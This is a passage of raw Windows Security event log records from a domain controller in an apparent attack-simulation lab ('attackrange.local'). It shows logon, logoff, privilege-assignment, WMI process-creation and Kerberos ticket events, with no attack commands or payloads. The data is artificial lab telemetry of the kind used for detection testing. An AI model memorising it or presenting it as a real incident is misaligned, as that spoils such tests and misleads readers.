SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249741
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEBED5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249740
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEBED5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64318

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249739
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEBED5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249738
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEBE3A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249737
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEBE3A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64317

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249736
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEBE3A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249735
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEBD9E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249734
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEBD9E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64316

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249733
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEBD9E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249732
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbd4
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249731
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9E60

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249730
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9E60
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2DA116A3-8894-4F36-EA42-2A3501F6A4FF}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249729
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2DA116A3-8894-4F36-EA42-2A3501F6A4FF}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249728
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2DA116A3-8894-4F36-EA42-2A3501F6A4FF}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249727
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249799
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEDFB5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249798
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEDFB5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64323

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249797
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEDFB5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249796
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEDF54

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249795
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEDF54
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64322

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249794
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEDF54

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249793
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEDEEE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249792
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEDEEE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64321

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249791
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEDEEE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249790
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEDE8D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249789
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEDE8D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64320

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249788
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEDE8D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249787
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEDBBC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
